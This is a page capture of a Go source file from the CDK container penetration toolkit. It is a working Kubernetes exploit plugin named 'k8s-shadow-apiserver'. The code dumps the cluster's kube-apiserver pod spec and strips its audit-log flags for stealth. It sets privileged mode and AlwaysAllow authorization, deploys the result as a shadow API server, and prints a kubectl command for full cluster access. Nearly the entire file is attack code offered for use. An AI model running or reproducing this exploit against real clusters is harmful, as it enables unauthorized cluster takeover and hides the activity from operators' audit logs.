-
Notifications
You must be signed in to change notification settings - Fork 535
/
k8s_shadow_apiserver.go
310 lines (267 loc) 路 11.2 KB
/
k8s_shadow_apiserver.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
//go:build !thin && !no_k8s_shadow_apiserver
// +build !thin,!no_k8s_shadow_apiserver
/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package exploit
import (
"fmt"
"log"
"regexp"
"strings"
"github.com/cdk-team/CDK/conf"
"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/errors"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/tool/kubectl"
"github.com/cdk-team/CDK/pkg/util"
"github.com/tidwall/gjson"
"github.com/tidwall/sjson"
)
func findApiServerPodInMasterNode(token string, serverAddr string) (string, error) {
opts := kubectl.K8sRequestOption{
TokenPath: "",
Server: serverAddr,
Api: "/api/v1/namespaces/kube-system/pods",
Method: "GET",
PostData: "",
Anonymous: false,
}
switch token {
case "default":
opts.TokenPath = conf.K8sSATokenDefaultPath
case "anonymous":
opts.TokenPath = ""
opts.Anonymous = true
default:
opts.TokenPath = token
}
log.Println("trying to find api-server pod in namespace:kube-system")
resp, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, "kube-apiserver") {
log.Println("api-server response:")
fmt.Println(resp)
return "", errors.New("invalid to list pods, possible caused by api-server forbidden this request.")
}
// extract pod name
// sample: {"metadata":{"name":"kube-apiserver-ubuntu-linux-20-04-desktop","namespace":"kube-system","uid":"b7564d4e-3bb1-48ef-8885-3984be70f46d" .. -> kube-apiserver-ubuntu-linux-20-04-desktop
pattern := regexp.MustCompile(`"metadata":{"name":"(kube-apiserver\b[^"]*?)"`)
matched := pattern.FindAllStringSubmatch(resp, -1)
if matched == nil {
fmt.Println(resp)
return "", errors.New("Cannot find kube-apiserver pod in namespace:kube-system, maybe target K8s master node managed by cloud provider, cannot deploy api-server in this environment.")
}
// match pod name in selfLink
log.Println("find api-server pod:")
for _, podName := range matched {
fmt.Println(podName[1])
}
// only return one pod
return matched[0][1], nil
}
func dumpPodConfig(token string, serverAddr string, podName string, namespace string) (string, error) {
opts := kubectl.K8sRequestOption{
TokenPath: "",
Server: serverAddr,
Api: fmt.Sprintf("/api/v1/namespaces/%s/pods/%s", namespace, podName),
Method: "GET",
PostData: "",
Anonymous: false,
}
switch token {
case "default":
opts.TokenPath = conf.K8sSATokenDefaultPath
case "anonymous":
opts.TokenPath = ""
opts.Anonymous = true
default:
opts.TokenPath = token
}
log.Println("dump config json of pod:", podName, "in namespace:", namespace)
resp, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
log.Println("api-server response in dumpPodConfig:")
fmt.Println(resp)
return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
}
return resp, nil
}
func generateShadowApiServerConf(json string) string {
json, _ = sjson.Delete(json, "status")
json, _ = sjson.Delete(json, "metadata.selfLink")
json, _ = sjson.Delete(json, "metadata.uid")
json, _ = sjson.Delete(json, "metadata.annotations")
json, _ = sjson.Delete(json, "metadata.resourceVersion")
json, _ = sjson.Delete(json, "metadata.creationTimestamp")
json, _ = sjson.Delete(json, "spec.tolerations")
// patch cdxy 20210413
// Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","reason":"Invalid","details":{"name":"kube-apiserver-10.206.0.11-shadow","kind":"Pod","causes":[{"reason":"FieldValueInvalid","message":"Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","field":"metadata.labels"}]},"code":422}
podName := gjson.Get(json, "metadata.name").String() + "-shadow" + "-" + strings.ToLower(util.RandString(6))
json, _ = sjson.Set(json, "metadata.name", podName)
json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"shadow")
// remove audit logs to get stealth
reg := regexp.MustCompile(`(")(--audit-log-[^"]*?)(")`)
json = reg.ReplaceAllString(json, "${1}${3}")
//argInsertReg := regexp.MustCompile(`(^[\s\S]*?"command"[\s\:]*?\[[^\]]*?"kube-apiserver")([^"]*?)(,\s*?"[\s\S]*?)$`)
argInsertReg := regexp.MustCompile(`(^[\s\S]*?)("--etcd-keyfile=[^"]*?"[\s\S]*?)$`)
// set --allow-privileged=true
reg = regexp.MustCompile(`("--allow-privileged\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--allow-privileged") {
json = argInsertReg.ReplaceAllString(json, `${1}"--allow-privileged=true",${2}`)
}
// set insecure-port to 0.0.0.0:9443
// fix "Flag --insecure-port has been deprecated, This flag has no effect now and will be removed in v1.24."
// reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}9443${3}")
// if !strings.Contains(json, "--insecure-port") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`)
// }
// reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")
// if !strings.Contains(json, "--insecure-bind-address") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`)
// }
// set --secure-port to 9444
reg = regexp.MustCompile(`("--secure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9444${3}")
if !strings.Contains(json, "--secure-port") {
json = argInsertReg.ReplaceAllString(json, `${1}"--secure-port=9444",${2}`)
}
// set anonymous-auth to true
// change note: anonymous-auth is not valid in k8s 1.22 and later, see https://github.com/cdk-team/CDK/issues/77
// reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}true${3}")
// if !strings.Contains(json, "--anonymous-auth") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
// }
// set authorization-mode=AlwaysAllow
reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}AlwaysAllow${3}")
if !strings.Contains(json, "--authorization-mode") {
json = argInsertReg.ReplaceAllString(json, `${1}"--authorization-mode=AlwaysAllow",${2}`)
}
fmt.Println(json)
return json
}
func deployPod(token string, serverAddr string, namespace string, data string) (string, error) {
opts := kubectl.K8sRequestOption{
TokenPath: "",
Server: serverAddr,
Api: fmt.Sprintf("/api/v1/namespaces/%s/pods", namespace),
Method: "POST",
PostData: data,
Anonymous: false,
}
switch token {
case "default":
opts.TokenPath = conf.K8sSATokenDefaultPath
case "anonymous":
opts.TokenPath = ""
opts.Anonymous = true
default:
opts.TokenPath = token
}
resp, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
log.Println("api-server response in deployPod:")
fmt.Println(resp)
return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
}
return resp, nil
}
// plugin interface
type K8sShadowApiServerS struct{}
func (p K8sShadowApiServerS) Desc() string {
return "duplicate kube-apiserver pod, disable logs and grant all privilege to anonymous user. usage: cdk run k8s-shadow-apiserver (default|anonymous|<service-account-token-path>)"
}
func (p K8sShadowApiServerS) Run() bool {
args := cli.Args["<args>"].([]string)
if len(args) != 1 {
log.Println("invalid input args.")
log.Fatal(p.Desc())
}
// get api-server connection conf in ENV
log.Println("getting K8s api-server API addr.")
addr, err := kubectl.ApiServerAddr()
if err != nil {
fmt.Println(err)
return false
}
fmt.Println("\tFind K8s api-server in ENV:", addr)
tokenFlag := args[0]
apiServerPod, err := findApiServerPodInMasterNode(tokenFlag, addr)
if err != nil {
fmt.Println(err)
return false
}
config, err := dumpPodConfig(tokenFlag, addr, apiServerPod, "kube-system")
if err != nil {
fmt.Println(err)
return false
}
// config for shadow api-server
data := generateShadowApiServerConf(config)
//fmt.Println("request data:",data)
resp, err := deployPod(tokenFlag, addr, "kube-system", data)
//fmt.Println("response_data:",resp)
if err != nil {
log.Println(err)
log.Println("exploit failed.")
return false
}
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
fmt.Println("response data:", resp)
log.Println("exploit failed.")
return false
}
log.Println("shadow api-server deploy success!")
podName := gjson.Get(resp, "metadata.name").String()
namespace := gjson.Get(resp, "metadata.namespace").String()
node := gjson.Get(resp, "spec.nodeName").String()
fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node)
fmt.Printf("\tlistening port: https://%s:9444\n", node)
var token = ""
switch tokenFlag {
case "default":
token, _ = kubectl.SecretToken(conf.K8sSATokenDefaultPath)
case "anonymous":
token = ""
default:
// TODO: why default flag not to use default token(conf.K8sSATokenDefaultPath)?
token, _ = kubectl.SecretToken(tokenFlag)
}
// sample:
// kubectl --server=https://<node-hostname>:9444/ --token=<token> --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A
if token == "" {
fmt.Println("\trun: kubectl --server=https://%s:9444 --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node)
} else {
fmt.Printf("\trun: kubectl --server=https://%s:9444 --token=%s --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node, token)
}
return true
}
func init() {
exploit := K8sShadowApiServerS{}
plugin.RegisterExploit("k8s-shadow-apiserver", exploit)
}